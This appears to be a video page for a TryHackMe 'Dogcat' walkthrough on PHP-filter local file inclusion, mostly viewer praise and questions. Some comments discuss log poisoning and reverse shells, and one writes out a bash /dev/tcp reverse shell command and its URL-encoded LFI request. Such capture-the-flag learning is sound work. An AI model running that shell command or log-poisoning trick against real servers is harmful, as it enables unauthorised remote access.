TryHackMe! DOGCAT - PHP Filters for Local File Inclusion

Sdílet
Vložit
  • čas přidán 28. 08. 2024
  • If you would like to support me, please like, comment & subscribe, and check me out on Patreon: / johnhammond010
    E-mail: johnhammond010@gmail.com
    PayPal: paypal.me/johnh...
    GitHub: github.com/Joh...
    Site: www.johnhammond...
    Twitter: / _johnhammond

Komentáře • 96

  • @tsustyle6263
    @tsustyle6263 Před 4 lety +85

    Real talk, I learn more from John's videos than I do from any kind of infosec "course". Absolutely brilliant stuff.

  • @eklypzn
    @eklypzn Před 4 lety +11

    Your vids with your first attempt are my favorite. I enjoy watching you get stumped for a bit and figuring out the next avenue. Thanks for expanding my mind on a regular basis.

  • @bibigabuyo1654
    @bibigabuyo1654 Před 4 lety +12

    I so much love the way you explain and how you try several methods. The video is very relatable showing that we are allowed to try and fail and try again.. very very cool specially the Recap in the end. Thanks so much ! 🙏🏻

    • @_JohnHammond
      @_JohnHammond  Před 4 lety +2

      Ah that is very sweet, thank YOU! Appreciate all the kind words, thanks for watching!

  • @proxikal
    @proxikal Před 3 lety +8

    Great playlist so far! One of the best learning experiences I've had so far in this field. Everyone else appears to have practiced every box multiple times before streaming. So if we face any issues at all (as they probably did behind screens) we're in the sinker. However, showing the mistakes and the steps to get around or out of any situation is priceless in my opinion. As it shows the method of thinking behind diagnosing what the issue is and what routes you can take to rectify the situation as a professional does. Keep up the great work man!

  • @jelluh24
    @jelluh24 Před 4 lety +63

    Can you make a video where you haven't done a tryhackme box in advance? I like watching you go through the problem solving part instead of just showing how you did it before.

    • @_JohnHammond
      @_JohnHammond  Před 4 lety +51

      I might start to do some stuff like that on Twitch, so I can fumble and fail and not be too concerned with it. Would that work?

    • @jelluh24
      @jelluh24 Před 4 lety +6

      @@_JohnHammond yeah I would definitely watch that!

    • @tristanwild1313
      @tristanwild1313 Před 4 lety +5

      @@_JohnHammond that would be great! :D

    • @prathameshtakane7354
      @prathameshtakane7354 Před 4 lety +1

      i like this quick highlight of the solution you figured out if i like the highlights i will go to twitch to watch the whole thing, so please keep uploading highlights here, great job.

    • @novanuke1356
      @novanuke1356 Před 4 lety +1

      @@_JohnHammond I really enjoyed the one you did on May 20th, I was a little disappointed because I missed it when it was live.

  • @karelmirim5547
    @karelmirim5547 Před 4 lety +83

    *script finishes in a minute* "It has finished in just under a hour." Interpret howerever you like.

    • @djhris9533
      @djhris9533 Před 4 lety

      Haha yes

    • @_JohnHammond
      @_JohnHammond  Před 4 lety +16

      Whoops! I don't even know what I say when I do these things bahaha

    • @ari_archer
      @ari_archer Před 3 lety

      oHHHHHH, this got me confused

    • @tylercoombs1
      @tylercoombs1 Před 3 lety

      LOL! I kinda did a lazy double take on that one

  • @shadow201011
    @shadow201011 Před 4 lety +9

    @21:00 It removes the whitespace, because in the Python code you have x.strip(), if you remove strip() function you will get the PHP file with whitespaces in it.
    I also had to do some utf-8 encoding/decoding before sending it to the server (although I think that's not really important i think), and it worked!
    Thanks for the great content

    • @lo-tr2zn
      @lo-tr2zn Před 2 lety

      this is some good stuff

  • @markgacoka9704
    @markgacoka9704 Před 4 lety +17

    Terminal: [Finished in 56.9 s]
    Hammond: Finished in just under an hour...

    • @_JohnHammond
      @_JohnHammond  Před 4 lety +7

      Ah jeez. I don't even know what I say when recording. Bahahah

    • @gamingnerd8684
      @gamingnerd8684 Před 4 lety +3

      @@_JohnHammond i felt bad cuz it didn't work and i thought it genuinely took an hour

  • @erin1569
    @erin1569 Před 3 lety +1

    I like it even more if you don't know the answer right away, seeing you wander in the dark makes me learn a lot.

  • @kalebfenley1199
    @kalebfenley1199 Před rokem

    I know it's an old video, but I've been trying to do this CTF all day. Watching other videos, and reading write-ups on this exact one. I couldn't get anything else working until I found your video. I kept breaking my apache logs like you explained.
    Anyway, good stuff. Keep it up man.

  • @ElliotWeishaar
    @ElliotWeishaar Před 4 lety

    Loving the videos. Just caught the bug. Loving the fact names that John gives to symbols even more ( '

  • @guyc10
    @guyc10 Před 4 lety +1

    That was one of my favorite video you did, awesome learned a lot from it, Thank you for sharing

  • @junhongchoo5990
    @junhongchoo5990 Před 4 lety

    I was doing similar box yesterday and spent the whole day learning the log poisoning technique (even tho got it working at the end but wasn't fully understand why).
    Only if I watch this video yesterday then I could have save a day worth of researching.
    Your video are awesome and very informative for beginner/hobbyist . Looking forward to learn more from you :)

  • @sneezeman
    @sneezeman Před 4 lety +4

    You could use the php $_GET to curl a reverse shell from your own machine and pipe that to php to get a shell

  • @IsmaelVazquezJr
    @IsmaelVazquezJr Před 4 lety +4

    That thumbnail doe!! 🔥

  • @maurox1614
    @maurox1614 Před 2 lety +1

    Code execution using the log file and the user agent is mind-blowing! Where the hell do you find those solutions??
    I love the way how you "hackers" think outside de box, you are really genius guys!

  • @sephmaddock
    @sephmaddock Před rokem

    I love the way this guy navigates thru the OS. I have Ubuntu, Kali and Windows 10. lol Trying to mastering 3 at the sametime.

  • @kennethcamacho4998
    @kennethcamacho4998 Před měsícem

    this guy is the real deal

  • @coolhandjake
    @coolhandjake Před 4 lety

    Half the time I don’t know what’s going on but its entertaining watching him hack things with such ease

  • @Mustafaq9
    @Mustafaq9 Před 4 lety +5

    Just a quick question because I'm not sure what I'm missing: why not just send the whole file over in one request as base64 instead of sending it as individual lines?

  • @genezisdj
    @genezisdj Před 2 lety

    the big inspirator thxxx jhonn

  • @Sami-xv8ve
    @Sami-xv8ve Před 4 lety +7

    nooo, what happend with the original one, i watched you make it for hours.

  • @finesseandstyle
    @finesseandstyle Před 4 lety +6

    16:37 What's the purpose of base64 encoding? You can write text into a file so what's the issue?

    • @ProBarokis
      @ProBarokis Před 3 lety +4

      so he can escape special characters

  • @rainerzufall4268
    @rainerzufall4268 Před rokem

    I love your Python coding in the Videos

  • @DaniSpeh
    @DaniSpeh Před 3 lety +1

    Beginner question: Why do you need to base64 encode it and than after you've uploaded it, decode again? Some source why you have to do this ?

  • @shivangraina9698
    @shivangraina9698 Před 4 lety

    Dude i am learning so much from you.. Thanks 🙏🙇

  • @VEKTOR299
    @VEKTOR299 Před 4 lety +1

    Amazing video, very entertained, you are a genius, a total code and hacking wizard

  • @HAGSLAB
    @HAGSLAB Před 3 lety

    I did this room today and had a bumpy ride, then I watched this video and saw you struggle with some of the same things which was kind of nice to be honest 😅

  • @stackoverflow2155
    @stackoverflow2155 Před 3 lety +1

    I really enjoyed the tutorial and I thought the "mishaps" were actually educational.

  • @manamebob
    @manamebob Před 2 lety

    awesome content keep up the great work

  • @jaywandery9269
    @jaywandery9269 Před 10 měsíci

    This room gave me a hard time

  • @MrRafsan0
    @MrRafsan0 Před 4 lety

    Love your videos. Love From Bangladesh ❤

  • @neilthomas5026
    @neilthomas5026 Před 4 lety +1

    Very cool as always thanks for making this stuff really helps noobs like me :)

    • @imofo
      @imofo Před 4 lety

      Haha why noob :)

  • @manjoos4906
    @manjoos4906 Před 4 lety +1

    what the hell this is medium difficulty??

  • @mattplaygamez
    @mattplaygamez Před 3 lety +1

    John you don't need to have python. You can also type 'bash -i'

  • @yashithabanu7173
    @yashithabanu7173 Před 3 lety

    Really Great !!!

  • @camw9354
    @camw9354 Před 4 lety

    Cant wait

  • @LahcenTahiri
    @LahcenTahiri Před 3 lety

    that is huge man

  • @mateenkiani6858
    @mateenkiani6858 Před 4 lety

    Great stuff!

  • @claudiafischering901
    @claudiafischering901 Před 3 lety

    I checkout if it possible on my apache2 server or if is fixed already...that is scary!

  • @olivermanyasa9386
    @olivermanyasa9386 Před 4 lety

    Tha was a nice one

  • @nikohegeheiskanen
    @nikohegeheiskanen Před 4 lety

    Pretty sure the & doesnt get url encoded when you put it in the url which breaks stuff so thats probably why the reverse shell wasnt working

  • @thatonesilverfuck6954
    @thatonesilverfuck6954 Před 4 lety

    Protip, urlencoding the first payload you tried 'bash ×××××××' works.

    • @_JohnHammond
      @_JohnHammond  Před 4 lety

      Oh NICE! Good to know, thank you!

    • @carbajal17
      @carbajal17 Před 4 lety

      Hi, can you pls provide how urlencoding worked for you?
      I tried encoding "bash -i >& /dev/tcp/10.1.12.155/9001 0>&1" and got:
      ..access.log&ext&c=bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.1.12.155%2F9001+0%3E%261
      But no go :( , nc lvnp did not respond.
      Thanks!

  • @hoodietramp
    @hoodietramp Před 2 lety

    Cool thing

  • @giovannitomczak6826
    @giovannitomczak6826 Před 3 lety

    I keep getting a "fatal flaw" error when accessing the access.log. Anyone else?

  • @TheNajuda
    @TheNajuda Před 4 lety

    How did you know when it was broken, just because it wasn't receiving the variable?, I make a mistake writing the code for that, but it was difficult to spot it, since it do not say any error, the variable just didn't receive any value so didn't show me anything, it did show me the part of : system(): Cannot execute a blank command in so I thought everything was done right and didn't knew i wrote the code wrong was it the same for you or did it show something for you?, thanks for your tutorials they are nice!

  • @rlee431
    @rlee431 Před 4 lety

    Great job. How would you rate the difficulty of this box with the ones on the oscp?

    • @westernvibes1267
      @westernvibes1267 Před 4 lety

      This is a box based on one technique for escalating to rce from lfi. There are tons of techniques to turn lfi to rce. Sometimes through sending a mail to a smtp server with php codes too. This is like 10% of a single oscp exam box. But if you really curious about difficulty of oscp labs and exam boxes. They are easy-medium boxes of hackthebox.

  • @0oOskar
    @0oOskar Před 4 lety

    Ok sorry if this question seems very dumb but I'm just trying to learn, would it be possible to use a tool like gobuster to find the "hidden" addresses on the page? instead of manually looking for them?

    • @michaelcox722
      @michaelcox722 Před 3 lety

      Yes it would. There's more than one way to skin a cat.

  • @andy-bandy
    @andy-bandy Před 4 lety

    You're a fucking beast, love it

  • @weiiswurst
    @weiiswurst Před 4 lety

    Why do you prefer Sublime Text over VS Code?

  • @dev__004
    @dev__004 Před rokem

    My guess is that everyone who did the box broke the access.log atleast one time lol

  • @allandiego1446
    @allandiego1446 Před 4 lety

    this shell doesn't work in pentestbox do you know any way to do it?return the error 101

  • @adamhuk3624
    @adamhuk3624 Před 4 lety

    An hour?? A minute looking at your clock

  • @danielhemmati
    @danielhemmati Před 4 lety

    that was epic 😎

  • @ino145
    @ino145 Před 4 lety

    I really wanna learn this but no idea where to start. I once downloaded Kali a long time ago, but yeah, no idea what I was doing. :D I've always been on Win machines also, so don't know any code etc. I know basic. ls, dir, cd.. And is it still safe to install Kali(and probably a vm)

  • @user-wd3ng2pt3z
    @user-wd3ng2pt3z Před 3 lety

    thanks bro ,, but i hope to upload scripts file that related with yours videos .

  • @socomplicated808
    @socomplicated808 Před 4 lety

    can you do the skynet room on tryhackme? would be appreciated?

  • @SebastianHasch
    @SebastianHasch Před 3 lety

    'Comment button'

  • @javadmv1181
    @javadmv1181 Před 3 lety

    you tried a lot, but the reverse shell upload is not that hard in this machine.

  • @Khusyasy
    @Khusyasy Před 3 lety

    watching this video makes me feel like a hacker, even though i never used linux 🤣

  • @user-tz8yw6kg8f
    @user-tz8yw6kg8f Před 4 lety

    11:50 it may have worked with python, you did (“)” instead of (“”)

  • @arcanj0
    @arcanj0 Před 4 lety

    That's was hard (for me)

  • @hyperdrone900
    @hyperdrone900 Před 4 lety

    since you have a rce on that box, why not upload any shell source on a text hosting site like pastebin then curl/wget that file to that box xD

  • @hakoo2700
    @hakoo2700 Před 3 lety

    ❤🤚

  • @abdiwahabahmedomar2399

    Wow Good jop 🎉🎉🎉

  • @rajeshwaris6663
    @rajeshwaris6663 Před 4 lety

    Try perl rev shell

  • @lordykarus
    @lordykarus Před 4 lety

    Wizard

  • @VDViktor
    @VDViktor Před rokem

    The amount of time someone like John spent on it, the amount of coding involved and techniques used, makes me suspect that this is shouldnt be classified as an "easy" room on THM lol